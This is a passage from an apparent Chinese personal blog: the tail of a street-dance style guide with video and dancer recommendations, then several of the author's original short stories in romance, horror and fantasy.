Swag 作为侧重点不同 Hip-Hop，有继承自后者的特点，动作多，变化大，也需要舞者的框架，Swag 将 Hip-Hop 和舞台融合，形成别具一格的舞蹈风格。

推荐视频

New School Swag(whole)

Urban Dance

名称

中文译名：都市编舞，或简称编舞。

其他别名：Choreography（编舞）。

简介

Urban Dance 几乎是所有舞种的融合。

Urban Dance 以舞台表演的视觉效果为核心，融合所有舞蹈的动作，风格，招式，律动等等一切，带来最强的视觉体验。所以，Urban Dance 几乎需要所有舞种的基础，才能在编舞时随心所欲，不至于陷入无法表现的尴尬境地。

但是现在全世界为数不少的舞室，直接标榜零基础精通 Urban Dance，在舞蹈意义上讲，诱导强，危害高。

Urban Dance 想要出众，需要 Urban Dancer（一般称编舞师）有极强的基础和编舞经验。

推荐视频

2017 Arena 舞朝竞技场 KINJAZ 裁判秀(4:00-end)

KINJAZ Los Angels Sports Center(14:44-end)

Others

其他不隶属于 Old School 和 New School 的风格统一归入此类（笔者个人分类）。

Krump

名称

中文译名：狂派舞，狂躁舞。

简介

Krump 历史短，追求极致的力量和情绪的宣泄，攻击性极强，战斗意志极高，是所有街舞舞种中，敌意最强的舞种。如果赛场上遇见 Krump 对手，需要有极高的心理承受能力才能与其 Battle。

部分动作采样自猩猩，如领地威慑等，所以看起来极具愤怒气息。Krump 最讲究情绪宣泄，自打舞种诞生以来，就以表达愤怒和狂躁著称，而 Krump 赛场也与其他舞种赛场不同，不甚追求技术，而追求情绪宣泄和角色塑造。

因为 Krump 的特殊性，街舞初学者会觉得很难看，不知道在做什么，在跳什么。

Krump 欣赏需要有一定的街舞基础。

代表动作

Buck Bump（巴克猛击）

推荐视频

BOY MIJO(6:08-7:20)

Waacking

名称

中文译名：甩手舞。

其他别名：Waack，etc.

简介

Waacking 注重手部肌肉线条，同 Jazz 一样注重展现女性美，但没有 Jazz 激烈。同 Jazz 不同的是，Waacking 诞生于酒吧和斗舞文化，可以进行 Battle，而 Jazz 一般没有 Battle 的习惯，后者更偏向编舞。

推荐视频

KOD12 成都决赛 AC 裁判秀(whole)（注意：AC 是男孩子）

Flexing

名称

中文译名：折骨舞。

简介

舞如其名，通过将人体骨骼扭曲到几乎不可能的角度（视觉上），达到震撼人心的视觉体验。

因为容易受伤，所以此舞种比较小众。另外，此舞种局限性强。

推荐视频

舞蹈风暴-吴宇飞(whole)

Myosung

名称

中文译名：描声。

简介

街舞界对于 Myosung 是否能认可为一个舞种存在巨大的争议，有舞者认为 Myosung 不能称为舞种，而只能称为一个有风格特点的韩国舞蹈团队。如果算作街舞，那 Myosung 可能是世界上舞者最少的舞种。

Myosung 发源于 Popping，以 Wave 的运用见长，但是因为 Popping 的元素使用比较多，所以与 Popping 的辨别极不显著。

Myosung 创始人追求蛇的形象（这也是为什么选择了 Wave 元素），追求内心的宁静，对于舞者要求极高，所以创始人很少教授学生 Myosung。甚至在 Myosung 领域有一句话：“全球不出 15 人跳描声。”

上一句话出自 Super Dino（中国著名舞者黄景行，曾是创始人 Wave Zino 的学生），他曾在红牛能量学院中对描声进行了解释：“描声没有固定的风格，每个人都有自己的风格，但是所有成员的方向和意境是一致的，这个大致的方向，就是描声。”

推荐视频

黄景行(whole)

其他舞种

  • DanceHall
  • SoulDance
  • Reggae（雷鬼）
  • etc.

因笔者对这些舞种不太了解，故不做陈述。

推荐舞者

Urban

  • Franklin（余衍林）[美]
  • Jawn Ha（何展成）[美]

Hiphop

  • Bouboo [法]

Popping

  • 田一德 [中国台湾]
  • Super Dino（黄景行）
  • Hoan [韩]

Locking

  • 叶音
  • The Lockers [美]

Breaking

  • 金小根 [韩]
  • Hong10 [韩]

推荐舞团

  • Kinjaz（忍者团）[美]：世界首屈一指的编舞舞团
  • Jabbawockeez（假面舞团）[美]
  • RMB [中]

舞蹈形式

Battle（斗舞）

各大赛事所采取的形式。

分为 1 on 1 Battle，Crew Battle 和 Routine Battle。分别是一对一，团队赛和连招赛（通常作为团队赛的一部分）。

Battle 是街舞里，火药味最浓的形式，没有之一。需要决出胜败。

Cypher（轮转）

Cypher 没有固定的中文译名，此处采取“轮转”版本。

Harvard（哈佛）艺术办公室的定义：A cypher is freestyle dance jam where an open circle is created and people take turns dancing in the center.（Cypher 是一种自由式舞蹈即兴表演，人们围成一个开放的圆圈，轮流在中心跳舞。）

Cypher 是相对和平的街舞表演形式，各舞者轮流在舞者围成的圆圈中表演，没有攻击性，也没有胜负，只是单纯地表演与欣赏舞蹈。

Cypher 在大多数情况下，也是新生代舞者或舞蹈初学者公开表演的第一种形式。

Stage / Arena（编舞表演 / 编舞竞技）

New School 的专场。专用于表演，而非街头玩乐。 观赏 New School 风格团体表演的最好形式。

全国和全世界范围内也均有相关的编舞比赛，需要职业 New School 编舞师。

著名赛事：Arena（舞朝竞技场，Kinjaz 主办），ABDC（America's Best Dance Crew，美国最佳舞团），WOD（World of Dance，舞蹈世界，全球最大 New School 赛事）等。

内涵和理念

核心

Respect, Peace & Love.

释义

虽然街舞大多以 Battle 形式出现，火药味极重，但是“爱与和平”的理念从来没有更改过。

赛场上，拿出百分之百的实力回敬对手（哪怕对手是多年的朋友），才是街舞领域真正的尊重。

赛场下，放歌纵酒，相识相知，因舞而聚，享受狂欢。

术语和评价维度

  • 框架
  • 速度
  • 空间
  • 控制
  • 力量
  • 卡点
  • 细节
  • 气场
  • 音乐分层
  • 质感
  • 杀招

后记

可以看这个视频以获得各舞种的感性认识。

上文视频的推荐顺序：

廖博《我怀念的》，一曲成神(whole)

Hilty & Bosch Urban Dance Camp Show(0:37-end)

KOD2016 韩国 vs 法国 国家赛(5:05-6:25 or whole if have time)

Taki Taki(first two pieces)

KINJAZ Los Angels Sports Center(14:44-end)

KOD12 成都决赛 AC 裁判秀(whole)

BOY MIJO(6:08-7:20)

协议

本作品采用知识共享署名-相同方式共享 3.0 未本地化版本许可协议进行许可。

作者信息

作者：南国微雪 Miyuki

联系方式：lo.tinysnow.ol@outlook.com

Telegram：http://t.me/TinySnow4Yi

小说

所有的小说内容，收录于此。均为原创。

分为想象力训练和其他小说。

想象力训练，为短篇言情小说内容，字数不多，且每篇之间没有关联。

其他小说中，收录连载小说和未形成完整篇幅的短篇小说。目前连载小说已经废弃（没有时间）。

想象力训练

短篇小说内容。多为言情，均为原创，且均已完篇。

想象力训练 - 哑声的少女

写在前面

1546 字 | 小说 | 想象力训练 | 灵感

正文

　　那天他外出取景，在湖边看到了一名少女。

　　一袭黑色长裙，白色长发，没有穿鞋子。双腿蜷曲坐在石头上，眼神空洞地望着湖面。

　　不知为什么，她总给人很冷的感觉。他不知道怎么描述那种感觉，但是仿佛看到了夏天的清泉，圣洁，但是清冽，给人一种孤独而只能远观的感觉。

　　“你好？”

　　少女转过头来，目光空洞地看向他。

　　他这才注意到，她的瞳孔里，有着繁多的白点，不像是眼疾，却显得有些神秘。因为，那些白点在运动。

　　少女张了张嘴，却哑声。

　　他惊奇。她似乎是个哑人。

　　「你在这里干什么？」他用手机打出来。

　　她摊开双手，示意他将手机递过去。

　　「我在看鱼游泳……」

　　他觉得这句话很好笑，但是没说出来。

　　「你一个人吗？家人呢？」

　　「对。我没有家人。」

　　他看到这句话，瞳孔一缩。

　　他似乎有些明白了，她身上的那股氛围从何而来。那像是经历了百折磨难之后，刻意隐藏后的平静。虽然隐藏，但是还是溢出了一种忧郁与哀伤的气场。

　　他霎时有些怜悯，也有些心疼。他这样的烂好人，不可能放着她不管。

　　“咔嚓！”

　　一只鹰发出锐利的声音，从天空呼啸而过。她转头看向那只鹰，就在这时，他按下快门。

　　他将显示屏给她看。她凑过来。

　　那是她转头瞬间发丝如瀑的瞬间。

　　她脸上绽出一个灿烂的笑脸。

　　天渐渐暗了，湖边有些冷，他缩了缩衣服。这一刹那，他忽然想起，正是秋冬交季，面落连绵，身边这个人却只穿着一袭裙子，不由得犹豫了一下。

　　「冷吗？」

　　他给她披上那件卡其色的风衣后，才想起问她。

　　「不冷。」

　　真是奇怪。

　　「你晚上住哪里呢？」

　　「随便住哪里吧……」

　　他有些哭笑不得。

　　「你没有常住的地方吗？」

　　「没有。」

　　他震撼。

　　「那……」

　　他今晚睡了一晚沙发，却暗自庆幸她没有报警，要不摊上一个拐卖妇女儿童的罪名可就麻烦了。

　　他现在随身带一个笔记本，遇到什么就写下来，然后将笔记本竖起来给她看。她也用此回应。于是在旁人看起来很奇怪，他们两人一言不发，手却在飞快地书写，像是在玩什么游戏。

　　「我想回那个湖边了。」在跟他开心地游玩了几天后，一天下午她这样写道。

　　「那是你的家吗？」

　　「差不多吧。」

　　「现在去那，晚上住哪儿啊？」

　　「搭个帐篷吧。」

　　世间似乎安静到只剩下了篝火噼里啪啦的爆裂声。夜幕笼罩着湖面、篝火、两人和浅黄色的帐篷。

　　跃动的火光映衬着她迷人的头发，他看她的侧脸入了迷。

　　忽然，她低头写起来，一笔一画，极为认真。

　　她把笔记本递给他。

　　「我能问你几个问题吗？」

　　「你问。」

　　「我们在一起玩之后，那种奇怪的感觉是什么？」

　　他从笔记本上抬起头，迎面撞上她深邃的眼睛，他看见她瞳仁里，那些白点缓慢地移动。

　　「你是说什么？」

　　「就是……一种奇怪的感觉。我说不出来，也算不出来。」

　　「算？」

　　「嗯，算。」

　　「越来越看不懂了……这种感觉是你对我，还是我对你？」

　　「都有吧……但我不知道它是什么。」

　　他一惊。

　　其实他也说不准他对眼前这个少女到底是什么感觉。怜悯？爱惜？喜欢？宠溺？祝愿？似乎都有，但是又都不太对。

　　他最后只想到了一个字，能概括以上这种感觉。

　　「大概是爱吧。」

　　「诶……也就是说，你爱我？」

　　「或许吧……//////」他这样写道。

　　这妮子，要不要这么直白？

　　「什么是爱呢？」

　　他再次直视着她的眼睛，寻找这个少女奇怪的地方。他以前就这样认为了，只是现在忽略了。

　　「时间不早了，先睡觉吧，明天再想。」

　　他也需要冷静一下。

　　「你先睡吧，我可能还要一会儿。」

　　他最后看见的，仍然是她跃动着暖色火光的侧脸。她仍然空洞地望着湖面。

　　初见她时，感受到的那股清冷，依然没有消退。


　　第二天，她消失了。

　　帐篷里只留下了一张字条，撕得很规整。

　　「谢谢你教我什么是爱，但我还是不太明白。我没想到这个世界还有我算不出来的东西。或许我应该更严肃看待你们一点了。」

　　右下角署名，深黑色。怎么擦都擦不掉，不像上面那样的签字笔痕迹。

　　「来自宇宙的意志，灵」


　　南国微雪 Miyuki

　　2023 年 11 月 21 日

封面图

摄影师 | Timur Romanov

图源 | Unsplash

青鸟

写在前面

890 字 | 小说 | 想象力训练 | 言情

正文

　　“你这人很会说嘛。”她笑起来。

　　酒店，走廊，呼吸灯。两人身着浴袍，各自端着一杯茶。同样的姿势，手心贴在外壁，感受着温暖与茶香。茶气随着雾从杯中升起，晕散到两人融洽的空气里。

　　“茉莉花茶！”

　　“乌龙茶！”

　　事情仅仅因此而起。

　　“你为什么会住进这家酒店呢？”她好奇。

　　他从远方奔袭而来，为了看当地特有的红嘴蓝雀。因为抢不到便宜的房间才被迫选了这个高档的套间。但是一连找了几天都没有找到，有些灰心。

　　“红嘴蓝雀，我记得是古诗里的青鸟吧？”她眯起眼睛，努力地想起贫瘠的生物知识。

　　或者说，语文知识？

　　“对，鸦科的鸟，智商很高，”他点点头，旋即笑出声，“比我智商高得多。”

　　他看见对方诧异的眼神。

　　“或许也比你智商高呢？”他忍不住说。

　　“你这人很会说嘛。”她笑起来，同时翻个白眼。

　　茉莉花茶和乌龙茶的香气，揉在了一团。似乎并不关心这些晦涩而专业的话题，只是安逸地飘散在空气里。

　　“你呢？”他问。

　　“保密。”她笑嘻嘻的，看起来很欠揍。

　　“……”

　　“话说你很喜欢茉莉花茶吗？”

　　“对，乌龙茶和茉莉花茶都很喜欢，你只喜欢乌龙茶吗？”

　　“没有吧，两个我也都喜欢，还喜欢营养快线！”她嘿嘿笑两声。

　　“好像也是，要不我们两个也不会相互认识了。”他想了想，也没觉得多奇怪。

　　暖黄色的呼吸灯下，她一头淡蓝色的挑染发有些显眼。他总觉得有些像什么。

　　茶快凉了，淡淡的茶香却仍然久久不肯散去。

　　“啊，这个点了，该睡觉了，”她说，随即喝掉了乌龙茶，发出满足的的声音，“那么晚安啦！”

　　“晚安。”他总觉得有些奇怪，于是多看了一眼。第 520 号房间。


　　第二天。

　　他正准备继续找寻红嘴蓝雀的身影，忽然发现地上有什么东西。

　　捡起来，是三张照片。塑封。一张茉莉花茶叶，一张乌龙茶叶，一张红嘴蓝雀。

　　红嘴蓝雀照片的背景，是当地很出名的寺庙背景墙。

　　他翻过来，发现红嘴蓝雀的照片背面有落款。

　　青鸟，2020 年 1 月 1 日。

　　正好是昨天。他忽然反应过来，想去问清楚。

　　打开房门，却看见小只的蓝色挑染发在外面，手里捧着一个茶杯。

　　“要一起来喝茶吗？这次是茉莉花茶哦！”

　　他与她的满脸笑容撞个满怀。


　　鸦科动物，果然智商很高啊。他想。


　　南国微雪 Miyuki

　　2023 年 11 月 12 日

封面图

摄影师 | Mosharraf Hossain

图源 | Unsplash

想象力训练 - 心脏博物馆

写在前面

1831 字 | 小说 | 想象力训练

正文

　　“您好，心脏博物馆，欢迎光临！”

　　他置身在两扇暗红色的宫门前，听到两位女性这样说。

　　宫门阶陛，皆如圣殿。门上高悬一排排灯笼，发出明红色的光芒。灯笼光与宫门交相辉映，氛围极强，却显得有一丝恐怖。

　　他站在这巨大的宫门面前，心生恐惧，不知所措。

　　“请进！”

　　随着两位女性掩着门钹推开宫门，他听到厚重的摩擦声。

　　随即映入他眼帘的，是一排排装在玻璃罐里的心脏。正如博物馆的招牌一样。

　　他想逃跑，但不知道怎么逃。

　　“我们每天都会接待一位客人，今天的客人是您。”两位女性边说，边领着他前往他不想去的深处。

　　他注意到在最深处，有一个巨大的玻璃器皿。那里面只装有一颗心脏，显得有些大材小用。

　　“心脏是人最重要的器官之一。心跳一刻也不能停止，心脏停止三秒即可出现晕厥、黑矇，四分钟之后脑细胞即开始死亡，大脑出现不可逆的损伤，十分钟之后脑死亡。”

　　这些我都知道，他想。

　　“沿途的心脏采集自人类史上最具有特征的各类心脏，包括老人、未成年人、男性、女性、健康人、先天心脏病、后天心室扑动、后天心房纤颤等。”

　　他看着那一罐罐里明显异常搏动的心脏，感觉呼吸有些困难。

　　罐子里的心脏，大动脉和上下腔静脉由一款不明的冰冷机械接入，就在展示台上搏动着。

　　就算是严重心律失常的心脏，也一直维持着该种心律失常的样子，一直搏动着。

　　他看到一颗很小的心脏，可能是刚出生孩子大小的心脏，仅有柿子大小，而冠状动脉坏死。左心肌寂然，右心肌代偿而变得厚大，就那样勉强地搏动着。

　　他感觉越来越诡异，越来越想逃。浑身上下有一种不舒服的感觉。

　　他感觉呼吸越来越困难，不知道是不是环境的原因。

　　除了展示台里博动的心脏，博物馆里的一切都很干净，像刚投产的医院一样。

　　“最后需要向您介绍一下这颗特殊的心脏。”

　　两位导游的话，引起了他的注意。

　　“这颗心脏没有经过特殊处理，是现在在世的一个人的心脏。博物馆通过三维成像，虚拟现实模拟，呈现在您面前。”

　　他看着眼前这颗心脏，感觉稍微有些安心。

　　正常博动。

　　突然，他看见了一瞬间的心律失常。

　　他瞳孔一缩。

　　勉强之下，他终于开口说了他的第一句话：“这颗心脏是谁的呢？”

　　“这需要您自己找出答案。”

　　两位导游异口同声地说，并且同时笑起来。笑容有一丝诡异。

　　“我们仅能提供的信息是：因为心脏博物馆每天只会接待一位客人，这颗心脏每天都会更换，所以，它与您有关。”

　　他有一种不好的预感。

　　“闭馆时间到了。心脏博物馆欢迎您下次到来。”

　　两位导游笑着说。


　　他从梦中惊醒。一身冷汗。

　　“喂？”他接起电话。

　　“你今天怎么起这么早？”她笑着问。

　　他一看表，早上八点。

　　“没什么，做了个不好的梦，被吓醒了……”

　　“诶，这样啊……我昨晚也做了个噩梦，没事，都会过去的。”

　　他听到她在那边笑着说。

　　“但愿吧……你有什么事吗？”他才想起正事。

　　“你还有地高辛吗？我最近胸口有点不舒服。”

　　他听到那边雨打窗台的声音，和她清晰的嗓音，背后冷汗狂流。

　　地高辛是治疗心房纤颤、心房扑动和心脏衰竭的药物。

　　“现在，你，赶快去医院做个检查！挂心内科！”

　　“诶，你怎么了，那么急……”

　　“少废话！快！！！”

　　“好好好……干什么啊，疑神疑鬼一惊一乍的。”

　　挂电话。

　　他迅速穿起衣服，穿上鞋子。找出仅剩一两片的地高辛，紧紧握在手里。

　　奔向她所在的地方。


　　“这不是没什么事吗……”她拿着检查报告出来。

　　他松了一口气，像泄了气的皮球一样，肩膀迅速放松下来。

　　“我好害怕，”他和她坐在医院的等待椅上，他就这样抱住了她，“昨天做了一个很不好的梦。”

　　“什么梦把你吓成这样？”

　　她抱着他的后背，安慰他。

　　“我梦到被带进一个有很多很多心脏的地方，最后被告知有一颗心律失常的心脏与我有关，”他顿了一下，声音更加低沉，还带有一丝害怕和压抑，“我怕那是你的。”

　　“哎呀，你太敏感了，疑神疑鬼的，”她开始笑，“我这不是好好的吗？我没事的，一直在呢，啊。”

　　随后她又补充了一句：“不过你这个梦跟我那个好像啊……”

　　“诶？是吗？”他又有些害怕起来。

　　“哎呀，没事啦，我这检查都没什么问题。只是觉得有些奇怪而已，”她拍拍他的后背，“一切正常。”

　　是啊，一切正常，她健康最重要，他想。

　　他松了一口气，松开。两人目视着对方，劫后余生般地开始接吻。

　　随后，又拥抱在一起。


　　“死者两人，一男一女，现场发现散落在地上的两片药和一片空药板。

　　“两人经医院抢救无效死亡，初步鉴定死因为急性心肌梗死。

　　“曾有目击者看见两位死者曾拥抱在一起，随后两人同时抓住胸口。

　　“因事件突然且蹊跷，一时间众说纷纭，最新进展本台将持续跟进。”


　　南国微雪 Miyuki

　　2023 年 9 月 2 日

封面图

摄影师 | Alexandru Acea

图源 | Unsplash

冥界的混乱

写在前面

2430 字 | 小说 | 创意

正文

　　“逝者您好，欢迎来到冥界。”

　　闭眼之后，我听到一个清冷的女声机械地说道。那声音毫无感情，如同人工合成一般。

　　冥界也有这种东西吗？

　　正当我这样想着，从虚空中走来一位女性。落步款款，眉目清秀。我不清楚她是谁。

　　“抱歉久等了，我是您的引领人。您之后的生涯评估和转生都由我负责。”

　　“不好意思，我有点搞不清楚状况……”我懵了。

　　这位引领人见状笑了笑。

　　“这很正常，因为每次转生都会被消除记忆，所以就算您实际来过冥界很多次，印象中也还是会认为是第一次，”引领人顿了顿，接着像是做过无数次一般，宣读起了冥界的规则，“接下来为您介绍冥界。”

　　“一，冥界不像人间的传说和宗教一般，有着天堂和地狱。但冥界确实存在着，只是里面只有综合室。关于综合室，接下来会说给您听。”

　　“二，人间所有的动物和植物，在死亡之后都会进入冥界，并且都会以人类形态进入综合室，方便交流。

　　“注意，微生物不包含在内，微生物是冥界和人间协定的生物，用来制造苦难和激发动力。顺风顺水会在文明后期引发灾难性的后果。所以这就是，人间微生物数目固定，以及人类迟迟不能合成细胞的根源。”

　　“三，每种生物在冥界都有着不同的评价体系。人类最复杂，并且也最昂贵，只有积累了足够的善才有可能再次转世为人。”

　　“四，在进入综合室前，每位逝者都会看到自己的善恶分值。”

　　“五，特别注意，善恶分值，不能相抵。不能用善赦免恶以免受惩罚。”

　　“六，进入综合室后，您可以选择与谁进行团聚。您不想看到的逝者将不会进入您的视野。

　　“注意，如果有单向感情则会变得透明。例如您不想看见对方，但对方想看见您，那么您不会看见对方，但对方仍能看见您，只是无法与您交流，相当于对方相当于您而言透明。”

　　“七，综合室。综合室是您接受奖励与惩罚的活动室，综合室里也可以团聚聊天，每个人的综合室不尽相同，根据每个人的偏好生成。可以相互串门，但做出重大决定时，只能在自己的综合室中。”

　　“八，奖励掌握在您自己手中。善值即为奖励。您可以选择用这些数值对现实中挂念的人进行影响。

　　“例如，您可以让儿女突然想起落下的东西，返程去取，从而躲过本该让他们死亡的车祸。

　　“或是让心爱的人提前梦到一些奇怪的事情。

　　“梦境是冥界逝者最常用的干涉手段。”

　　“九，干涉的选择权取决于您，还有目前的善值。干涉结果与原本结果的分歧越严重，消耗的善值越多。同样，干涉的形式越明显，消耗的善值越多。

　　“极端情况下，您可以选择告诉人间的对象，冥界存在，并让其逃离车祸。理论上可行，但几乎没人能够达到所需的善值。”

　　“十，您所挂念的人们，最近三天的命运会在当天早晨以视频形式播放给您。您可以自由选择是否干涉。

　　“注意，大体上，命运根据基因里的碱基对所决定。这些碱基对的排列形式，人间无法解读，所以通常认为为无意义。但干涉次数越多，由原碱基对所推测的命运越不准确，请慎重考虑干涉形式和干涉内容。”

　　“十一，善值用完之后，您只能等待惩罚完毕才能进行转生。”

　　“十二，惩罚有两种形式：等待与转生概率。等待，是人间与冥界达成一致的最优惩罚形式。恶值每多一分，需要等待人间时值的一年。

　　“您也可以将恶值转换为转生概率。转生时，概率越高，随机成为艰难物种和厄运的概率越大。例如一只被当众打死的老鼠。这取决于您的个人选择。

　　“这两种形式可以结合使用，比例由您自己决定。”

　　“十三，如果转生时仍有善值，您可以选择自己的物种和命运。同样，形式和内容与所需分值呈正比。”

　　“十四，恶值未清零时不得转生，但滞留冥界最长时间不得超过一万年。超过此时间将不得转生，同时将在空白综合室里进行永无止境的等待。”

　　“十五，空白综合室，是一个仅有四面墙壁的综合室。不能与任何人进行交流。”

　　“以上便是冥界的所有规则。”

　　引领人将所有话说完，落下一个微笑。

　　“要是我待在综合室里一直玩游戏就这样等下去呢？”我好奇地问。

　　“我们遇到过许多次这种情况，还是那句话，这取决于您的个人选择。只要不超过最长期限即可。”

　　说实话，冥界超出了我的想象。

　　“如果您愿意，您也可以称综合室为天堂或地狱。毕竟综合室同时拥有这两种功能。”

　　引领人的下一句话引起了我的注意：“现在为您进行生涯评估，计算善恶值。”

　　霎时，我们两人被数字和影像包裹。

　　影像一幕幕闪过，那是我人生的所有经历。小学时欺负一只兔子；中学时因为哥们儿义气和别人打架；高中时耐心给别人讲解习题；大学时一心一意地恋爱……

　　影像旁有影响值，配上相关的事情权重，最终得出善恶值进行累加。数字闪得太快，我完全看不清。整个场景犹如电影里的黑客场景一般。

　　评估结果：

　　善：20000820；恶：4368。

　　“我第一次见到善值这么高分……”引领人的声音出现了一丝波动，说不清是惊喜还是意外，“同样恶值也不低……我不清楚您上辈子做了些什么，但您这样的人我是第一次见到。”

　　“能说说吗？我没什么概念……”我有些疑惑。

　　“您这样善值，能在保全您所有在意的人，让他们幸福到老，同时转生能够自己选择最好的命运，比如某跨国公司的公子或千金。前提是您如果经受得了四千多年的等待。”

　　“这样啊……”我心里窃喜。

　　“现在要进入综合室吗？”引领人问。

　　“能让我问最后一个问题吗？”我忽然很好奇。

　　“请讲。”

　　“您们这样的引领人，又是怎样来的呢？”

　　“抱歉，不能告诉您，这是秘密。”引领人的眼睛黯淡了下来，我从她的瞳仁里似乎看见了四四方方的白色恐惧。

　　“对不起……”我有些歉意，“现在进入综合室吧。”

　　“好。”


　　我的综合室，确乎是自己理想的房间。但是想到要在这里度过四千多年，我还是有些恐惧。

　　我说不清楚这四千多年，我心路历程发生了怎样的变化，但善恶值的用法我已经决定好了。


　　“逝司，紧急事态！”

　　“怎么了？”

　　“那个历史最高善值的逝者转生了！”

　　“这不是很正常的流程吗？”

　　“但是他在转生之前最后一刻，用光了他所有的善值。但在此之前，他一点善值都没有用。”

　　“这关紧急事态什么事？”

　　“人间现在一片混乱，没有平民做基础了。”

　　“他做了什么？这么大能耐？”

　　“他把所有不幸的人民都变成了猫。”


　　南国微雪 Miyuki

　　2023 年 8 月 4 日

封面图

摄影师 | Lukas Robertson

图源 | Unsplash

努力的样子

　　他高举着一张 100 分的试卷。

　　母亲笑了笑，蹲下来摸摸他的头。然后转头继续与父亲争吵。议题：男孩的抚养权。

　　男孩回了房间，眼里满是坠落的流星。


　　南国微雪 Miyuki

　　2023 年 5 月 6 日

理想雪 - 冬季是最温暖的季节

封面图

摄影师 | Mira Kemppainen

图源 | Unsplash

写在前面

1452 字 | 小说 | 理想雪 | 帮助 | 温暖

《理想雪》系列故事均为架空世界观，所有人名、地名等与现实世界无任何关联。

该系列只且仅只为了说明，小说作者在该情境下会诞生的想法和采取的行动，以及背后的世界观、价值观和人生观。

未经授权，禁止转载。仅供小范围内阅读。

正文

　　夜。

　　正值冬季，天气愈寒。我裹紧脖子上的围巾，希望将寒气抵御在外。然而手抽出来，还是会划过一丝冰凉的空气。

　　刚吃过饭，和朋友一起，朝着回去的路进发。

　　在万家霓虹，烟火气浓重的小吃街旁，我发现了一个人。那地方离小吃街不远，但总有一丝被撇在外的冷寂感。没有灯，没有光，只有汽车的远光灯偶尔会照到，更显疏离。

　　他就坐在那里。

　　我不认识那个人。但他就那样坐在路边台阶上，体育坐的姿势，头埋在膝盖上，双腿蜷曲着，就那样坐着。 　　我听着朋友前面说说笑笑的声音，放慢了脚步。

　　路过他身旁。隐隐听到一丝抽泣的声音。

　　那声音很微弱，像是用一根细丝悬着似的，仿佛下一秒便会消失在空气里。很难辨认出他究竟是情难自禁，还是不小心出声。

　　但是我想，能让一个男生独自坐在冬季的台阶上，埋头哭泣，应该不是小事。

　　我加快了脚步，超过朋友们。

　　“你去干嘛？”身后的朋友们大喊着问我。

　　“突然有点事！我先回去了！”我回喊着。

　　然后传来一阵笑声：“真忙啊。”

　　笑，真好啊。我这样想着。


　　几分钟后，我从便利店出来。朝着小吃街进发。

　　“你怎么又回去了？”朋友们追上我。

　　“东西忘拿了，回去拿。”我苦笑道。

　　“憨批，”有人笑道，“那你快点，我们走慢些。”

　　“好。”我应了一声。

　　然后走到那个人的面前，站住脚。悄无声息。

　　“给你买了瓶阿萨姆，热的。虽然不知道为什么，但是坐这上面很冷的，回去再说吧。都会过去的。”

　　我安静地把奶茶放在他身子左侧，拍了拍他的肩膀，说了这句话。

　　在我转身的一瞬间，我似乎看见了他抬起头。但是我没有再看，径直离开了。小跑着往朋友们的身边赶去。

　　我说不清楚这么做的理由，但身体已经比意识先行动起来了。


　　当围巾因为跑动松开的那一瞬间，寒气入侵。

　　“冬天，或许不是最温暖的季节，但或许是最能让人注意到温暖的季节。”我这样想道。


　　南国微雪 Miyuki

　　2023 年 3 月 22 日　　

写在后面

　　本小说根据真实经历改编而来。

　　每个人都有哀伤、难过、悲痛甚至绝望的时候，人的脆弱总是让我们在此时寄一丝希望，希望有哪个人此时来拯救我们。但我们都是凡人，不是英雄或者救世主。最后只能拍拍灰尘，咬牙把自己那些烂泥一样的事情捡起来解决掉。

　　似乎前后除了难过之外，没有任何区别。将难过的时间从时间轴中抽出去，也能活下去。

　　但没有中间那段难过的时间便好吗？

　　我想未必。

　　很多事情、很多道理、很多人抑或很多温暖，都在这段难挨的时间中领悟。或许我们解决问题之后，相比之前来讲，可能不止有事情发生了变化，也有心情和体验。

　　他们，可能会让一个人的心更暖，或者更冷。

　　人在脆弱的时候，总是会对外界格外敏感。

　　人总是在觉得自己堕入深渊的时候，希望有人拉自己一把。

　　无论是谁，只要有人拉自己一把就好，仅此而已。是不是陌生人，在那个时间已然变得不关键了。

　　我确实对一个陌生人这样做过，但我很后悔没有对我前任这样做过。

　　据她说，那天夜里，她坐在第十教学楼前面那广阔无边的阶梯上，哭得天昏地暗，周围一个人也没有，只有教学楼顶上照下来的昏黄的灯光。她远在海南的挚友一直在电话里安慰个不停。

　　她当时是笑着跟我说这些的。

　　我很后悔那个时候没有陪在她身旁。

　　我们伤心到需要援助的时候，我们渴望获得救赎，但为什么当他人需要援助的时候，我们很多人却施以冷漠？

　　我们不是救世主——但买瓶水，是谁都能做到的事情。

　　我真心地这么想着。

公交车

正文

　　我和她想去一个广场，今天有活动，必须很早就去。

　　清晨五六点，夏天的燥热似乎此时无影无踪，只有清爽。饶是如此，我还是神志不清。

　　好困，好想继续睡觉。

　　“你快点啊，我们回来再继续睡嘛。”她笑骂我一句，拽我上了公交车。

　　公交车上坐满了人，我们找了一根扶杆站着。我们俩站一起。

　　我正揉眼睛，公交车猛地一刹车。右手的手机顺势就飞了出去。

　　心里一惊。不知道飞向了那里，声音都没有。

　　我蹲下开始找。

　　公交车启动。我差点一个趔趄。

　　她拉了我一把，我扶住扶杆，只听这个人儿幽幽地说：“不用找了。”

　　“为什么？”我没看她，眼睛仍然在各个座位下面游走，希望找到一点踪迹。

　　我感觉到她拉起我的手，随后似乎感觉到了某种金属……和旁边皮肤温热的感觉。

　　心里一惊，猛地回头。

　　看她脸变得通红，我的脸也迅速变红，害羞起来。

　　就连在她锁骨下方的手也是。


　　南国微雪 Miyuki

　　2023 年 2 月 22 日

写在后面

　　灵感源于梦境。

无题之一

写在前面

　　内容轻微 NSFW（Not Suitable For Work，不适宜工作场合查看）。

正文

　　我的女朋友味觉很敏感，我稍微加多了一些调味料，她就怨声载道。

　　「你是不是把酱油放多了？」有时候她会气冲冲地这样问我。

　　折磨久了，我无意间对她闺蜜说起这个事。

　　「啊，我知道，」她闺蜜眨眨眼，「要不我们捉弄她一下？」

　　「你要干嘛？」

　　「你负责给我弄一碗面就好了，清汤的，剩下我来搞定。」

　　几天后，我们端着那碗面到了她面前。

　　「来，吃。这次的味道你绝对熟悉，喜不喜欢就不知道了。」

　　「什么啊……」她半信半疑地挑了一筷子。

　　「尝出来了？」她闺蜜嘿嘿地笑。

　　「尝出来了……」她吞吞吐吐地说。

　　我在旁边满脸问号。

　　我就这样看着女朋友白玉般的脸颊渐渐变得霞红。

　　那一瞬间我忽然明白了什么。

　　「你们都给我加了什么东西啊喂！！！」



　　南国微雪 Miyuki

　　2023 年 1 月 27 日

承 K 之名

　　这是 K 与聪后续的故事。

　　那天天朗气清，暖日高照，属于冬天里不可多得的好天气。

　　“我们今天去爬山怎么样？”K 忍不住给他发了消息。

　　“诶……今天天气很好吗？”聪在那边回复。

　　“嗯？你不在学校吗？”

　　“不在啊，我早回家了。”

　　聪一如既往冷淡。

